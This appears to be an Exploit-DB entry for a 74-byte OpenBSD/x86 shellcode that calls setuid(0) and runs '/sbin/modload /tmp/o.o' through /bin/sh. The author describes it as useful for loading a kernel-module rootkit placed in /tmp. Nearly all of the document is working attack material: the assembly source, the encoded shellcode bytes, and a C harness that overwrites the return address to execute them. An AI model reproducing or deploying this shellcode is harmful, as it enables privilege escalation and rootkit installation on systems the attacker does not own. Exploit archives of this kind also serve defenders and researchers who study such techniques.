OpenBSD/x86 - setuid(0) + Load Kernel Module (/tmp/o.o) Shellcode (74 bytes)

EDB-ID:

43634

CVE:

N/A


Author:

dev0id


Platform:

OpenBSD_x86

Date:

2009-01-01


/* The modload shellcode
   setuid(0)
   loads /tmp/o.o module
	very usefull if you have  rootkit as kernel module in the /tmp dir
  
   Size  74 bytes
   OS	 OpenBSD
  		/rootteam/dev0id	(rootteam.void.ru)
			dev0id@uncompiled.com 
BITS	32

jmp	short	callme
main:
	pop	esi
	xor	eax,eax
	push	eax
	mov 	al,0x17
	push	eax
	int	0x80
	xor	eax,eax
	push	eax
	push long	0x68732f6e
	push long	0x69622f2f
	mov	ebx,esp
	push	eax
	push word	0x632d
	mov	edi,esp
	push	eax
	push	esi
	push	edi
	push	ebx
	mov	edi,esp
	push	eax
	push	edi
	push	ebx
	push	eax
	mov	al,0x3B
	int	0x80
callme:
	call	main
	db	'/sbin/modload /tmp/o.o'
*/
char shellcode[] =
	"\xeb\x2d\x5e\x31\xc0\x50\xb0\x17\x50\xcd\x80\x31\xc0\x50\x68"
	"\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x66\x68\x2d"
	"\x63\x89\xe7\x50\x56\x57\x53\x89\xe7\x50\x57\x53\x50\xb0\x3b"
	"\xcd\x80\xe8\xce\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x6d\x6f"
	"\x64\x6c\x6f\x61\x64\x20\x2f\x74\x6d\x70\x2f\x6f\x2e\x6f";


int
main(void)
{
	int *ret;
	ret = (int*)&ret + 2;
	(*ret) = shellcode;
}